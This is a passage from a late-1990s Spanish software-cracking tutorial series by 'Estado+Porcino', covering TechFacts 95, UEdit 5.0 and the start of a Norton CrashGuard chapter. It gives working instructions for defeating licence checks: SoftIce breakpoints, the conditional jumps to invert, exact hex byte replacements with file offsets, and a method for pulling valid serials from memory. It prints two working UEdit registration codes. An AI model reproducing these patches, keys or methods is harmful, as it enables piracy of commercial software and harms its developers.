cristiano es "Tío te ha equivocado, JAAARL". Esto no es una vía de entrada, esto es una autopista de 1GB de carriles. Basta con pensar un poco, quién es la encargada de mandar este mensaje? ,evidentemente la propia rutina de protección, interesante verdad?. Ya sólo queda

encerrar la rutina, ver como trabaja , cambiar un par de bytes (siempre de la forma más elegante posible) y listo, programa crackeado. Comparación de ataques ¿Qué crack es mejor?, el de flags o de la rutina de protección?. Esto depende en gran medida de programa, de tus habilidades y del tipo de que dispongas. Con la rutina de protección se puede analizar en profundidad el esquema, ver como trabaja y hasta extraer tu propio número de serie, osea el número de serie que la empresa te da si te registras, pero esto requiere tiempo y esfuerzo, obteniendo una satisfacción moral e intelectual. Además, en la próxima versión del programa est pwd posiblemente funcionará y no necesitarás crackear de nuevo. Mediante cracks al flag, se requiere un tiempo menor, pero la próxima versión habrá que crackearla de nuevo (no importa seguro que estos estúpidos programadores habrán seguido la mismo patrón de protección). Un crack a la rutina de exige un conocimiento profundo de la misma, lo que puede llevar a tu propio generador de claves (igualito o seguramente mejor que el tiene la empresa).

CÓMO CRACKEAR TECHFACTS 95: Objetivo: TechFacts 95. Versión: 1.30 3/7/97 Nombre del ejecutable: Teckfct95.exe Website: http://ourworld.compuserve.com/homepage/deansoft Tamaño del ejecutable: 1.251.840 bytes. Tipo de protección: Por número de serie. Dificultad: ameba. Tiempo de crackeo: 2 minutos. Herramientas: SoftIce 3.0 y Editor Hexadecimal. Siguiendo las recomendaciones de +ORC empezaremos por crackear nuestras propias herramientas crack. El programa en cuestión es una pequeña joya que nos permitirá, entre otras muchas cosas, rastrear las acciones de un determinado programa, buscar cadenas de caracteres en ficheros, trabajar con dll.. Generalmente,lo utilizo para rastrear programas de instalación, obteniendo información de los ficheros creados, las entradas de registro añadidas o borradas, ... Manos a la obra. El programa es un ejecutable que no necesita otro fichero para funcionar (cosa rara en estos días). Así pues, arranquemos el programa veamos lo que ocurre. Aparece una horrible ventana diciendo que utilicemos nuestra VISA o MASTERCARD y que soltemos los 19,99 dólares (unas 2500 pesetas) que tenemos para ir a tomar cervezas.

Echemos un vistazo al programa. Entre otras cosas, hay una opción en TOOLS/WATCH SYSTEM, que nos permite rastrear un programa. En HELP/HELP TOPICS/ORDER FORM aparece una hoja de registro en la que nos avisa de que además tenemos que paga 2 dólares para gastos de envío, ¡cómo si costará 250 pelas enviar un mail con el número de serie!. En HELP/ABOUT TECHFACTS 95 encontramos un botón USE REG KEY. Aquí es donde tenemos que introducir nuestro Nombre (First name), apellidos (Last name) y el número de serie correspondiente que lo recibiremos por mail si pagáramos 19,99 dólares más 2 dólares de gastos de envío. Empecemos por aquí. Pongamos un nombre, un apellido y un número cualquiera y pulsemos el botón REGISTER. Entonces escuchamos un pitido y aparece una ventana de mensaje diciendo REGISTRATION KEY FAILED. Ahora ¡pensemos un poco!, apliquemos un poco de ZEN CRACKING. Lo único anormal es el pitido. Si tu fueras un programador y quisieras que pitará tu "cacharro" tienes dos opciones construirte un bonito programa en ensamblador que lo haga, o bien utilizar una función de pitido presente en alguna de las vomitivas librerías de funciones, también llamadas API. ¿ Qué piensas que ha hecho nuestro "vago" programador ?. ¡Bingo! ha utilizado la función MessageBeep de la librería USER32.DLL. Este un punto de ataque muy claro, aunque existen muchos otros. Apliquemos la técnica LIVE, es decir, utilizaremos el SoftIce. Reinicialicemos nuestro ordenador en modo Ms-Dos, lancemos el WinIce y volveremos a Windows. Abramos el LOADER de SoftIce y en FILE/OPEN MODULE seleccionemos el fichero Tekfct95.exe. Pulsemos Load o el botón con las ruedecillas dentadas. Nos aparece una ventana de mensaje del SoftIce diciendo que no puede cargar la tabla de símbolos, pulsemos el botón SÍ y aparecemos directamente en el SoftIce con la pantalla en modo texto. En este momento nos encontramos en la primera sentencia de nuestro programa. Pulsemos bpx messagebeep con esto tomaremos el control antes de que aparezca el pitido. Con Ctrl-D volvemos a Windoce y el programa sigue ejecutándose normalmente pero con un cebo en messagebeep. Elegimos la opción de registro y escribimos cualquier cosa en nombre, apellidos y número de serie, pulsamos el botón y aparecemos de bruces en : USER32!MessageBeep 014F:BFF623C1 B148 MOV CL,48 **** Aparecemos aquí.**** 014F:BFF623C3 EB12 JMP BFF623D7 Si pulsamos en este momento F12(continuar hasta un RET) nos situaremos en:

014F:0047BA65 EB11 jmp 0047BA78 014F:0047BA67 6A30 push 00000030 014F:0047BA69 E822A7F8FF Call 00406190 **** Llamada a MessageBeep**** 014F:0047BA6E B8BCBB4700 mov eax, 0047BBBC 014F:0047BA73 E824BEFBFF call 0043789C **** Pintamos la ventana de error **** En tu ordenador las direcciones de memoria pueden ser diferentes. ¡Sintamos el código!. Estamos en mitad de las sentencias de error, lo que implica que debe haber un salto condicional a este conjunto de sentencias de error. El salto debe ser condicional porque en caso de haber metido correctamente el número de serie habríamos obtenido algún tipo de mensaje de felicitación. Así pues, sólo debemos encontrar ese salto condicional y modificarlo. Miremos por encima de la dirección 014F:0047BA69, nos encontramos en 014F:0047BA65 un salto incondicional jmp 0047BA78, en una ejecución normal nunca llegaríamos a 0047BA67 ya que siempre saltaríamos a 0047BA78. Por tanto, lo que debemos buscar es un salto condicional a la dirección 0047BA67. Si volvemos hacia atrás un poco con los cursores encontramos este bonito salto 014F:0047B934 E89B73F8FF call 00402CD4 014F:0047B939 0F8528010000 jne 0047BA67 **** ¡BINGO! **** 014F:0047B93F 8D45B7 lea eax, dword ptr [ebp-49] Hemos encontrado el salto, sólamente hay que modificarlo. Fijaos que el salto se produce después de una llamada a la rutina call 00402CD4 apostaría el pellejo a que esta es una rutina para comprobar si tu número de serie es correcto. Si no es igual (jne) salta a las sentencias de error. Si es igual continua ejecutándose. Hay muchas formas de invertir el salto: 1.- Cambiar 0F8528010000 jne 0047BA67 por 0F8500000000 jne 0047B93F 2.- Cambiar 0F8528010000 jne 0047BA67 por 404840484048 inc eax,dec eax, inc eax, dec eax, inc eax, dec eax La 1 es un salto neutro, sea igual o no siempre se ejecuta la sentencia siguiente. La 2 es la preferida por +ORC, cambia el salto por un conjunto de parejas incrementar decrementar que dejan el registro eax sin cambios en su contenido.

Solamente hay que tener en cuenta dos cosas para modificar el código, sustituir siempre el mismo número de bytes (cambias 2 bytes por 2 bytes) y que tus modificaciones sean una sentencia en ensamblador correcta. El SoftIce nos permite hacer cambios On-Fly, es decir, en ese mismo instante, pero el cambio no es permanente. Para ello, nos vemos obligados a utilizar algún editor hexadecimal, con el cual abriremos el fichero ejecutable, y buscaremos la cadena en hexadecimal E89B73F8FF0F8528010000 y la cambiaremos por E89B73F8FF0F8500000000. La cadena se encuentra en el offset 0X7AD34(los números en hexa llevan delante un 0X) que en decimal es 503092. Así pues tenemos que irnos al byte 503092 de fichero ejecutable y comenzar a hacer cambios. Ahora tendremos el ejecutable parcheado, si nos registramos nuestro número de serie siempre será aceptado. Un crack no es más que un pequeño programa que abre un fichero y cambia un par de bytes por otros. ¡Nada más sencillo! Sólo hay que saber qué bytes hay que cambiar. Cuantos menos bytes se cambien más elegante será el crack. Si habéis seguido todos los pasos habéis crackeado vuestro primer programa. Aun nos sois cracker pero estáis en la buena senda. Sólo hay que poner interés. Para gentes más avezadas, comentaré que el flag de activación se iniciativa correctamente en :0047BA5E mov byte ptr [004CF31A],00 La rutina de protección es bastante patética, con gran cantidad de código inactivo. Empieza en :47B5C0. Obviamente se podría haber hecho algún otro tipo de pero este es el más simple (se podría haber obtenido el número de serie real, o haber creado un generador de claves).El programador ha puesta a "pelo" la dirección de retorno en :47BA3F push 47BA54. Es un ridículo truco que nos hará perdernos si continuamos ejecutando normalmente, por ello es conveniente pulsar "F12" y mirar hacia por encima sin ejecutar sentencias. Espero vuestras opiniones, sugerencias y ensayos en [email protected] En breve analizaremos tipos de protecciones mucho más interesantes. Recordad bebed de la fuente, buscad a +ORC en la red.

COMO CRAKEAR POR ESTADO+PORCINO

CAPÍTULO II. Diseccionando a los Muertos Uedit 5.0 Enero 1998

Indice INTRODUCCIÓN DESCENSO A LOS INFIERNOS: - Mu bien y esto pa que coño me sirve. EL LISTADO MUERTO: - Manos a a la obra.

INTRODUCCIÓN !Saludos Familia ! Empezemos este año con una de las técnicas crack más importantes "El Listado muerto" o "death listing". Hasta ahora hemos visto la "aproximación en vivo" o "live approaching" con el maravilloso Softice.

DESCENSO A LOS INFIERNOS. Veamos de una vez por todas como se ejecuta una sentencia en el procesador, desde el inicio hasta el final. Supongamos que estamos programando en un lenguaje de Alto Nivel (C, C++, Pascal,Delphi,Visual Basic). Se llaman de Alto Nivel para diferenciarlos de los lenguajes más próximos al procesador, como el Ensamblador, a los que se llama lenguajes de Bajo Nivel. Cuanto más "Alto" programemos, más control perderemos

sobre nuestro programa, y esto es un grave problema. Supongamos un programa, escrito en Alto Nivel, que pinta la frase "HOLA MUNDO" en pantalla. ¿ Qué pasos se siguen hasta que realmente se pinta la frase?. Nuestro programa debe de residir en un fichero, al que se denomina fichero fuente, en el que aparece la sentencia para pintar la frase. Este fichero no es entendible por el procesador, sólo es un conjunto de caracteres, mu diferente del conjunto de 0 y 1 que necesita para trabajar. Es aquí donde entra el compilador, transforma el fichero fuente en un fichero intermedio, también llamado fichero objeto. En esta transformación se comprueba la sintaxis de las sentencias ( falta el punto y coma) y la semántica (has pasado un entero cuando se esperaba un real). El compilador realiza entonces una fase de linkado para reunir los distintos ficheros objeto que conforman nuestro programa final (aunque tengamos un único fichero fuente). En esta fase se determinan el mapeo final del program en memoria (que dirección de memoria va a tener cada instrucción del conjunto de ficheros objeto). Tras la fase de linkado, el programa final se encuentra en un lenguaje llamado pseudocódigo, mu sencillote. Aquí se pueden tomar 3 vías. Primera: Dejar el programa como está, y que otros pogramas o librerías (como la vbrun500.dll de Visual Basic) lo traduzcan (lo interpreten) a sentencias entendibles por el porcesador. Segunda: Transformar el pseudocódigo a un lenguaje de Bajo Nivel como el ensamblador. En tal caso, se necesitará un compilador de ensamblador para que el programa pueda ser ejecutado. OJO, el ensamblador no es entendible por el tonto procesador que sólo ve unos y ceros, son dos cosas distintas. Tecera: La más común, transformar directamente de pseudocódigo a ejecutable Un fichero ejecutable consta de unos y ceros (o de números en hexa, según se mire) ordenados de una forma especial; ordenados en instrucciones: Los 3 primeros números son el tipo de instrucción, los 4 siguientes el operando1, el siguiente el operador...Cada instrucción es depiezada dentro del procesador y dan a lugar a la ejecución de un conjunto de programas presenten dentro del procesador, son las microrutinas. Estas microrutinas son las encargadas de bloquear buses, activar multiplexores, dar tensión a un transistor o no, pa enterndernos. Accionando correctamente buses, multiplexires... se pintará relamete la frase en pantalla. Bien, esto es todo. Mu bien y esto pa que coño me sirve. Existe una correspondencia directa entre lenguaje ensablador y programa ejecutable. Gracias a un desensamblador (W32DASM, IDA PRO), a partir de un ejecutable podemos obtener el programa el lenguaje ensablador sin disponer del

fichero fuente. Un program en ensamblador puede ser fácilmente entendido por los humanos (o eso dicen algunos). Esto nos da un poder tremendo a los crackers. Podemos saber como funciona un programa sin necesitar del programa original. Y lo que es má aún, independientemente del lenguaje de Alto Nivel. Todos los lenguajestienen que pasar a ejecutable de alguna u otra forma, y es aquí cuando usamos nuestro desensamblador y extraer su listado en ensablador. Da igual que programa esté hecho en Pascal, O C++, lo entederemos igualmente ya que leeremos ensamblador.

EL LISTADO MUERTO La idea es sencilla. Cojemos nuestro desensamblador favorito y se lo pasamos al objetivo. Obtendremos un listado en ensamblador de nuestro programa a crackear. La técnica crack se llama Listado muerto porque entenderemos y manejaremos el programa con este listado, sin tener que ejecutarlo, con el programa muerto. A diferencia de cuando lanzamos el SoftIce y entendemos el programa cuando se está ejecuntandose, cuando "vive". Hay tre ventajas fundaentales para utilizar el Listado Muerto. - Podemos seguir el programa fácilmemte de atrás hacia adelante, basta con pasar de página, no hace falta volver a ejecutatlo. - Es mucho más relajado imprimir y estudiar 4 páginas de código que rastrear con el SoftIce. Este es uno de los consejos de +ORC. - Se descubren pequeños secretos, como rutinas inactivas. La paciencia y la tranquilidad son dos requisitos fundamentales en un cracker. Es fácil perderte trazando con el SoftIce e imposible con el Listado Muerto. Manos a la Obra Una vez desensamblado el objetivo, la idea es buscar cadenas de texto interesantes, como "unregistered", "expired", "congratulations" y mirar al rededor de estas cadenas buscando un salto mágico. Las palabras en concreto dependen del programa y son las que aparecen para recordarte que aún no te has registrado.

CÓMO CRACKEAR UEDIT 5.0 Objetivo: Uedit 5.0. Versión: 5.0 3/7/97

Nombre del ejecutable: uedit32.exe Website: http://www.uedit.com Tamaño del ejecutable: 812.514 bytes. Tipo de protección: Por número de serie y temporal. Dificultad: Medio. Tiempo de crackeo: 5 minutos. Herramientas: W32dasm8.X, SoftIce. Siguiendo la recomendación del maestro +ORC, continuamos con el crack a nuestras herramientas de trabajo. En este caso nos encontramos ante un excelente editor hexadecimal, vital para nuestros negocios :-) Instalemos el programa, ejecutémoslo y veamos lo que nos encontramos. ARRJJ!!, una horrible ventana nos dice que tenemos 45 diás para registranos. Además tiene un bonito botón "Enter Authorization Code". Pulsemos y veamos. Un típico nombre de usario y número de serie (al que le llamaré passwod o pass). Si pulsamos cuaquier guarrada en ambos, sorpresa, ningúm mensaje advirtiendo del error, ningún pitido (recordais el capítulo I), nada excepto una ventana de mensaje que dice que hace falta cerrar el programa para validar el código. ¿Habrá leido Ian D. Mead las lecciones de Estado+Porcino?. Bien, ¿por donde atacar?. No tenemos nada que nos indique que nos hemos equivocado. ¿Que tal si usamos el Listado Muerto amiguitos? Una vez desensablado el programa y dentro del W32dasm pulsemos el botón de Strn Ref (el boton que está al lado del botón de impresora) para ver las cadenas de caracteres que aparecen en el nuetro objetivo. Que vemos, que casualidad , tenemos la frase "Thank you fot supporting Shareware" , hagamos doble click y veamos donde aparecemos: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401B77(C) | :00401B7D 83FB09 cmp ebx, 00000009 :00401B80 7504 jne 00401B86 :00401B82 C645EC20 mov [ebp-14], 20 * Referenced by a (U)nconditional or (C)onditional Jump at :00401B86 8D45C8 lea eax, dword ptr [ebp-38] * Possible Reference to String Resource ID=00010: " Thank you for supporting Shareware." | :00401B89 6A0A push 0000000A

En :00401B89 tenemos una referencia a la cadena que nos interesa. Cada frase del programa tiene asociado un número, en este caso es el 0000000A y este número se les pasa al las rutinas que tienen que imprimir los mensajes. La forma tradicional de pasarle parámetros a una rutina es a través la pila mediante push (como en :00401B89 ). Los parámetros se pasan empezando por el último, es lo que se llama paso de

parámetros mediate el modelo de PASCAL, existen otros modelos, pero son poco utilizados. ¿Estamos en el camino adecuado¿, nop, ya que el número de nuestra frase, el 0000000A (en es número 10 en decimal) es muy utilizado en cualquier programa y cada vez que aparezca, el desensamblador pensará que se está haciendo referencia a nuestra frase. Bien pensemos un poco. Nuestro programa está limitado por 45 días de uso, pasado ese tiempo, lo normal es que nos aparezca una frase deciendo algo así como "Evaluation time expired". Busquemos (Con el botón de la linterna ) la palabra expired pasada a una rutina mediante push a ver que encontramos. :043F7D3 E8375DFCFF call 0040550F :0043F7D8 391DDC0C4A00 cmp dword ptr [004A0CDC], ebx :0043F7DE 758A jne 0043F76A :0043F7E0 8D4D10 lea ecx, dword ptr [ebp+10] :0043F7E3 E829C00100 call 0045B811 :0043F7E8 8D4D14 lea ecx, dword ptr [ebp+14] :0043F7EB C645FC01 mov [ebp-04], 01 :0043F7EF E81DC00100 call 0045B811 * Possible Reference to String Resource ID=00068: "UltraEdit 45 Day Evaluation time expired!!!!" | :0043F7F4 6A44 push 00000044

BINGO. No sentís el código, no percibis como estamos en el camino correcto. Si, tenemos en :0043F7F4 un push con el número asociado a la frase que buscamos y justo en :0043F7DE un salto a 0043F76A que evita imprimir el mesaje, pero el punto clave es ver la comprobación del salto en :0043F7D8. Se comprueba si el contenido de EBX es igual a una dirección fija de memoria la [004A0CDC]. Las direcciones fijas son las típicas variables globales tan mal utilizadas en los programas. Tenemos una variable global que controla la aparición de un mensaje de error. En algún punto del programa debe de inicializarse [004A0CDC] con un valor ,si localizamos este trozo de código, estaremos en plena rutina de comprobación. ¿Facil, verdad? Busquemos [004A0CDC] y veamos quien la inicializa, sólo nos interesan las sentencias que inicializen la variable, no las sentencias que comprueban su valor. Normalmente se inicializa por defecto a un valor de error (indicando que no estamos registrados) y

se inicializa corectamente cuando nos registrmemos. Conforme aparecen occurencias de nuestra variable glabal sabemos que estamos en el buen camino porque siempre está rodeada de mensajes de error o de felicitación. Buscando [004A0CDC] encontramos las siguientes sentencias que modifican la variable (el resto de apariciones son comprobaciones del valor) :00405541 893DDC0C4A00 mov dword ptr [004A0CDC], edi :004056A3 891DDC0C4A00 mov dword ptr [004A0CDC], ebx :004057D4 8325DC0C4A0000 and dword ptr [004A0CDC], 00000000 :00426924 891DDC0C4A00 mov dword ptr [004A0CDC], ebx :0043F684 C705DC0C4A0001000000 mov dword ptr [004A0CDC], 00000001

Que tenemos aquí. Parece lógico pensar que en :004057D4 tenemos la incialización por defecto, ya que un AND con ceros da cero. La sentencia contraria la tenemos en :0043F684 que mueve 1 a la variable, esto sin duda indica que nos hemos registrado. También podría ser al revés, cero registrado, uno no registrado, pero este no es el caso. Basta ejecutar el Softice y poner bpr 004A0CDC 004A0CDC rw , la primera modificación debe ser la asignación por defecto, en este caso la :004057D4. Por tanto solo debemos centrarnos en la asignación a uno :0043F684, olvidando el resto de asignaciones. Esto es un axioma fundamental ante la duda, elige siempre la solución más sencilla. Bien, veamos que hay entorno a la :0043F684 :0043F65C E89A560300 call 00474CFB :0043F661 8B7804 mov edi, dword ptr [eax+04] :0043F664 8B4514 mov eax, dword ptr [ebp+14] :0043F667 48 dec eax :0043F668 7478 je 0043F6E2 :0043F66A 48 dec eax :0043F66B 0F85F9000000 jne 0043F76A :0043F671 391DDC0C4A00 cmp dword ptr [004A0CDC], ebx :0043F677 0F85DA010000 jne 0043F857 :0043F67D 833DBC024A0000 cmp dword ptr [004A02BC], 00000000

:0043F684 C705DC0C4A0001000000 mov dword ptr [004A0CDC], 00000001

Tenemos diversos saltos que evitan nuestra asignación a uno. El primer salto, sestá en :0043F668 7478 je 0043F6E2 que tal si lo cambiamos por EB1A jmp 43F684. Osea, siempre saltamos a 43F684 evitando las comprobaciones de :0043F66B y :0043F677.El código EB es la instrucción de salto incondincional JMP, 1A es el número de bytes desde la sentencia condicional hasta la sentencia donde queremos saltar. Fácil, ¿verdad?. Perfecto, rula. Basta con buscar en el ejecutable uedit32 la secuencia 8B451448747848 y cambiarla por 8B451448EB1A48. Pero hay un peque problema, el crack funciona pero no tenemos un número de serie correcto. En principio basta, pero pensando un poco podremos sacar nuestro propio número de Serie. ¿ Qué se os ocurre? Sip, exactamante,¿ que tal si le seguimos la pista a nuestro número de serie basura y vemos con quién se comparará? . La pregunata es, donde coloco un bpx para pararme justo antes de que se compruebe mi número de serie. La respuesta es sencilla, en :43F618 (echarle un vistazo al listado muerto) comienza la rutina en la que se asigna a 1 nuestra variable glabal. Este puede ser un buen comienzo. Abrimos el Softice con el uedit, ponemos nuestro nombre Estado+Porcino y un número basura 1212121212121212 . Cerramos el uedit y lanzamos de nuevo el SoftIce poniendo la sentencia bpx 43F618. Aparecemos en :43F618, ahora es el momento de buscan nuestro número de serie con s 30:00 l ffffffff ´12121212´ lo encontramos es :942F9C (esta direcciónpuede cambiar en tu ordenador). Borramos el punto de ruptura anterior con bc 0 y creamos uno nuevo con la dirección donde está nuestra password con bpr 942F9C 942F9C+f rw seguimos adelante con Crtl+D para ver quien caen en buestra trampa. Aparecemos en :40B73A con varios movsd , nuestra password se está copiando en otro sitio. La sentencia movsd, copia caracteres de ees:esi a ees:edi. Pongamos en el SoftIce d ees:edi para ver como realmente se va a copiar, además pongamos otro punto de ruptura en la nueva posición de nuestra password con bpr ees:edi ees:edi+f rw .Curiosamente, si nos movemos un poco con los cursores por ees:edi aparecen las passwords correctas, pero todavía no es el momento. Lancemos de nuevo el SoftIce con Crtl+D y aparecemos en :444FOE ,aquí encontramos una pequeña comprobación, en ecx tenemos nuestra pass (para comprobarlo basta con poner d ecx) y en edx apuntamos a una zona de nuestro nombre, concretamente a "tado+Porcino". Esto no es exactamente lo qu buscamos, así que sigamos adelante con Crtl+D y aparecemos en :444EBO con una comprobación entre edx y ecx a través de al. Curiosamente edx apunta a nuestra pass y ecx apunta a Y2+cHdcBd6=DBC/P este churro es la pass correcta, si seguimos con Crtl+D aparecemos en el mismo sitio con edx apuntando a nuestra pass y ecx apunta a JWKTUUTH02166710 otra pass correcta. A lo largo de la evolución del programa desde sus primeras versiones, se ha cambiado 2 veces de generador de pass por cuestiones de seguridad, ¡qué estúpidos!. Por eso la doble comprobación, ver si nuestra pass es del antiguo generador o del nuevo. Eso es todo por ahora, no seais unos descerebrados y utilicéis mi pass, buscad la

vuestra, es mu sencillote. Espero vuestras opiniones, sugerencias y ensayos en [email protected] En breve analizaremos tipos de protecciones mucho más interesantes. Recordad bebed de la fuente, buscad a +ORC en la red.

COMO CRAKEAR POR ESTADO+PORCINO

CAPÍTULO III. CORTA HISTORIA DEL TIEMPO Norton CrashGuard Deluxe 3.0 Mayo 1998

Indice INTRODUCCIÓN TIPOS DE PROTECCIONES TEMPORALES UN POCO DE TEORÍA EN BUSCA DE LA FRASE MÁGICA EL REGISTRO DEL SISTEMA COMO CRACKEAR Norton CrashGuard Deluxe 3.0: - PRIMERA EXPLORACIÓN. - PRIMERA SORPRESA. - SEGUNDA SORPRESA. - LA APROXIMACIÓN DIFÍCIL:     

AL ATAQUEEEEEEEEEEEEEE LA FECHA DE CADUCIDAD CHECKSUMS PARAINOCOS CHECKSUMS HASTA EN LA SOPA LA MISMA PROTECCIÓN EN TODOS SITIOS

- LA APROXIMACIÓN FÁCIL:   

REUNIENDO LAS PIEZAS LA COMPRA VIRTUAL MODIFICANDO EL REGISTRO



MODIFICACIÓN DE LA VARIABLE DEL REGISTRO DEL SISTEMA

MORALEJA

INTRODUCCIÓN ¡Saludos Familia! Bastante tiempo desde mi último artículo, lo sé, pero ya estamos de vuelta. Nos ocuparemos ahora de las protecciones temporales, veremos un poco de teoría y lo aprendido lo aplicaremos al programa Norton CrashGuard Deluxe 3.0 desde dos puntos de vista, el temporal y el de la password pa registrarse.

TIPOS DE PROTECCIONES TEMPORALES. Demos un peque repaso a los diferentes esquemas de protección temporal que nos podemos encontrar (recomiendo la lectura del Capítulo 4.1 de +ORC ) - CINDERELLA. El programa funciona durante una cierto periodo de días (digamos 15 días) comenzando desde la fecha de instalación. - BEST_BEFORE. El programa funciona durante una cierto período de tiempo independientemente de la fecha de instalación. El programa caduca el 30/12/97. - COUNTDOWN. El programa funciona sólo durante unos minutos o unos segundos. - QUIVER. El programa funciona sólo durante un número determinado de ejecuciones. Realmente no es una protección temporal, pero su esquema de protección se parece mucho al de los otros tres tipos.

UN POCO DE TEORÍA Analizemos como funciona una protección temporal. Los "inteligentes programadores" ofertan sus productos completos al público con ridículas protecciones. Le colocan una fecha de caducidad, pasada la cual, el programa no funciona. Esta idea la utilizan sobretodo las grandes compañías como Micro$oft, Corel, o Symantec. La idea es distribuir masivamenete sus productos aprovechando los estupendos canales de distribución que ofrecen las revistas de Soft. Una vez inundado el mercado,

el usuario disfrutará del producto, se acostumbrará a él, hasta que le sea indispensable y tenga que comprarlo a un precio desorbitado . Esta táctica no es nueva, sino preguntad a algún camello, o como la CIA distribuyo la heroína entre el Black Power. Pensemos un poco. ¿Cómo conoce el programa que ya ha caducado el período de evaluación?. Supongamos que tenemos una evaluación e 15 días e instalamos nuestro programa el 1 de febrero. Sumando la fecha de instalación (1 Febrero) más el período de prueba se obtiene la fecha de caducidad:15 febrero (El día en el que lo instalas cuenta como día hábil). El programa, lo primero que calcula es si la fecha actual es menor o igual que la fecha de caducidad, y en tal caso, se ejecuta normalmente. Si es mayor, dará un bonito mensaje "El período de evaluación ha expirado". Una cosa está clara, el programa debe guardar alguna de las dos fechas siguientes (o las dos): A - Fecha de Instalación y el período de evaluación. B - Fecha de caducidad. Lo normal es la opción B. Al instalarse el programa, se calcula la fecha de caducidad y se guarda en algún sitio. Normalmente se guarda en el registro del sistema bajo algún nombre estúpido, aunque se puede guardar en el win.ini, system.ini, fichero oculto, o algún fichero que parezca inofensivo. Lo cierto es que debe guardarlo. Existe una variante, y es que la fecha de caducidad esté dentro del ejecutable. Un ejemplo lo tenemos en la evaluación del Hotmetal 4.0., del tipo BEST_BEFORE, que dentro de su ejecutable aparecía 31/12/97. Madre de Mitra, qué estúpidos pueden llegar a ser los zombi-programadores. Dependiendo de la pericia del programador la fecha de caducidad puede estar o no encriptada para ocultarla de la vista del usuario y para que sea difícil modificarla. Resumiendo, el programa debe guardar la fecha de caducidad y comprobarla al inicio del programa con la fecha actual. Ya sabemos de donde saca la fecha de cadudidad, pero, ¿de dónde saca la fecha actual?. Normalmente (el 99% de las veces) se extrae con una llamada a la función getlocaltimeo o getsystemtime. Pero se puede extraer viendo la fecha de algún fichero que se modifique periódicamente como el system.dat o el bootlog.txt. Los puntos de ataque a este esquema son claros: - Atacar en el cálculo de la fecha de caducidad. En vez de sumar 15 días sumamos 15 siglos. Esta aproximación es difícil por que el cálculo se realiza una única vez, generalmente en la instalación.

- Modificar la fecha de caducidad. Si la fecha está encriptada, necesitaríamos construir un algoritmo de encriptación para la nueva fecha que deseemos introducir. Por lo que en general, puede ser complicado. - Forzar la caducidad del programa. Se analizan los mensajes que da el programa y a partir de ellos se le sigue la pista hacia atrás. Es una táctica muy utilizada. - Atacar en la comprobación de la fecha actual y la fecha de caducidad. Simplemente modifica la comprobación para que siempre estemos en el período de evaluación. Esta es una opción elegante. Alguien podría pensar que si se echa pa trás el reloj de W95, la protección temporal se elimina. Para evitar esta "trampilla", los programadores colocan código como el siguiente: SI está activada la marca de caducidad ENTONCES el programa ha caducado y se finaliza el programa DE LO CONTRARIO SI fechaActual>fechaCAducidad ENTONCES activar marca de caducidad Como veis si os pasais de la fecha de caducidad, se activa una marca que impedirá que se ejecute el programa aunque modifiquéis el reloj. Esta marca se guarda en los mismos sitios donde se guarda la fecha de caducidad. A veces, la protección temporal queda eliminada introduciendo una palabra clave, por lo que a veces es más rápido atacar por la password. Para averiguar el fichero que contiene la protección temporal, se puede usar el SoftIce y poner un bpx getlocaltime, o bien una nueva técnica, muy útil no sólo para protecciones temporales. Veámosla. EN BUSCA DE LA FRASE MÁGICA Todos los mensajes de un programa, los de error, los de felicitación, los de aviso, no son más que cadenas de caracteres que deben de residir en un fichero. Para protecciones temporales es útil buscar mensajes como 'expire', 'demo', 'evaluation'. Si localizamos estos mensajes habremos localizado, generalmente, el fichero que contiene la protección y podemos desensamblarlo o pasarle el Softice. Extendiendo esta idea, basta con buscar los mensajes 'unregistered', 'register' para localizar el programa con la protección en esquemas por palabra clave. Recomiendo una herramienta excelente para buscar cadenas, es el programa sr32.exe, Search & Replace for Win 3x 95/NT, Funduc Software, Inc. (www.funduc.com). Bajáoslo y crackearlo, tiene una bonita y sencillota protección del tipo CINDERELLA.

EL REGISTRO DEL SISTEMA El Registro del Sistema no es má que un fichero gigante (system.dat) donde W95 y el esto de los programas dejan sus miserias, osea, sus variables, sus parámetros de configuración, su fecha de caducidad, sus marcas de caducidad. Muchos cracks sólo necesitan modificar adecuadamente el system.dat Es muy conveniente que le echéis un vistazo, aprenderéis mucho y podréis modificar muchos de los parámetros del Windoze. Para editar el registro, se utiliza normalmente el programa regedit.exe que encontrareis en vuestro directorio de Windows. Recomiendo que lo ejecutéis con el parámetro /v ,osease, c:\windows\regedit /v

CÓMO CRACKEAR Norton CrashGuard Deluxe 3.0 Objetivo: Norton CrashGuard Deluxe 3.0. Versión: 3.0 Nombre del ejecutable: ncgd3w95.exe Website: http://www.symantec.com Tamaño del ejecutable: 11.964.671 bytes. Tipo de protección: Cinderella. Dificultad: Medio. Tiempo de crackeo: 2 horas. Herramientas: W32dasm8.X, SoftIce. En esta ocasión, nuestro objetivo es una gran y abominable compañia, la Symantec y uno de sus muchos y abominables producto: Norton CrashGuard Deluxe 3.0 Básicamente, el programa consigue, en algunas ocasiones, que las aplicaciones que se cuelgan no bloqueen al Windoze. Cosa de agradecer dado el alto índice de siniestralidad de las aplicaciones y del propio Windoze. Además de tener una B.D de información sobre el PC, una antivirus ... Se protege con protección temporal CINDERELLA de 30 días. PRIMERA EXPLORACIÓN Instalamos el programa y antes de finalizar la instalación ya nos pide que nos registremos, mal asunto, quieren cobrar antes de que probemos su producto, su codicia de palpa ante incluso de ver el programa. Una vez instalado, nos ha metido a escondidas varias cosas: - Una Dll con un extraño nombre: 30vfv6vn.sys situada en el raiz de la unidad c: El nombre varía en cada instalación, sólo permanece fijo *fv6vn.sys, los 3 primeros caracteres son variables. Sospecho que sólo es un indicador para ver si el programa ya ha sido instalado. - Una aplicación en el arranque del Windoze Norton CrashGuard Deluxe Autocheck.

Si pulsais CRTL+ALT+SUPR podreis ver la aplicación por dos veces con el nombre de checkup Su misión es detectar cualquier cambio en el reloj del sistema para bloquear inmediatamente la aplicación si nos pasamos de la fecha de caducidad. Además se crean dos directorios Norton CrashGuard y Norton CrashGuard Deluxe y nos aparece un bonito icono en el escritorio del Windoze con forma de escudo y con el original nombre de Norton CrashGuard Deluxe. Y si por si fuera poco, dos iconos en la barra de tareas, la aplicación propiamemte dicha (escudo gris con una N en azul) y una historia de los cuelges de los programas (un reondel con una marca de verificación). Si pulsamos en el icono del escritorio nos aparece una ventana donde nos dice que nos compremos INMEDIATAMENTE la aplicación a un precio fabuloso, $45.95, (unas 7.000 pelas) En la parte inferior aparecen el número de días que restan para el programa deje de funcionar. Además aparecen unos bonitos botones en los que nos podemos registrar por Internet, probar el producto o cancelar. Si probamos el producto, aparece la ventana principal con todas pas opciones. Si elegimos la opción de registro, aparece una pantalla donde introducimos nuestros datos y 